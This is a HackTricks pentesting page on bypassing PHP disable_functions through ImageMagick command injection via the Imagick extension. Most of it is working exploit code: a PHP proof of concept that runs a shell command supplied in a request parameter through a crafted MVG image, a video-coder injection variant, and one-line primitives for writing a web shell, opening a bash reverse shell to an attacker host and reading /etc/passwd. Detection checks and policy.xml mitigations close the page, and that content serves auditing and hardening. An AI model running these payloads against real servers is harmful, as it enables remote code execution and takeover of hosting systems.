Imagick <= 3.3.0 β PHP >= 5.4 disable_functions Bypass
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
The well-known ImageTragick family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying ImageMagick binary through crafted MVG/SVG input. When the PHP extension Imagick is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with
disable_functions
.The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below. The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without
exec
/system
but keep an outdated Imagick + ImageMagick combo.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Why does it work?
Imagick::readImage()
transparently spawns the ImageMagick delegate (convert
/magick
) binary.- The MVG script sets the fill to an external URI. When a double quote (
"
) is injected, the remainder of the line is interpreted by/bin/sh βc
that ImageMagick uses internally β arbitrary shell execution. - All happens outside of the PHP interpreter, therefore
disable_functions
, open_basedir,safe_mode
(removed in PHP 5.4) and similar in-process restrictions are completely bypassed.
2025 status β it is still relevant
- Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable. In lab tests the same payload works on PHP 8.3 with Imagick 3.7.0 and ImageMagick 7.1.0-51 compiled without a hardened
policy.xml
. - Since 2020 several additional command-injection vectors have been found (
video:pixel-format
,ps:
,text:
codersβ¦). Two recent public examples are:- CVE-2020-29599 β shell injection via the text: coder.
- GitHub issue #6338 (2023) β injection in the video: delegate.
If the operating system ships ImageMagick < 7.1.1-11 (or 6.x < 6.9.12-73) without a restrictive policy file, exploitation is straightforward.
Modern payload variants
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Other useful primitives during CTFs / real engagements:
- File write β
... > /var/www/html/shell.php
(write web-shell outside open_basedir) - Reverse shell β
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Enumerate β
id; uname -a; cat /etc/passwd
Quick detection & enumeration
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
If the output shows the MVG
or URL
coders are enabled the target is probably exploitable.
Mitigations
-
Patch/Upgrade β Use ImageMagick β₯ 7.1.1-11 (or the latest 6.x LTS) and Imagick β₯ 3.7.2.
-
Harden
policy.xml
β explicitly disable high-risk coders:<policy domain="coder" name="MVG" rights="none"/> <policy domain="coder" name="MSL" rights="none"/> <policy domain="coder" name="URL" rights="none"/> <policy domain="coder" name="VIDEO" rights="none"/> <policy domain="coder" name="PS" rights="none"/> <policy domain="coder" name="TEXT" rights="none"/>
-
Remove the extension on untrusted hosting environments. In most web stacks
GD
orImagick
is not strictly required. -
Treat
disable_functions
only as defence-in-depth β never as a primary sandboxing mechanism.
References
- GitHub ImageMagick issue #6338 β Command injection via video:pixel-format (2023)
- CVE-2020-29599 β ImageMagick shell injection via text: coder
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.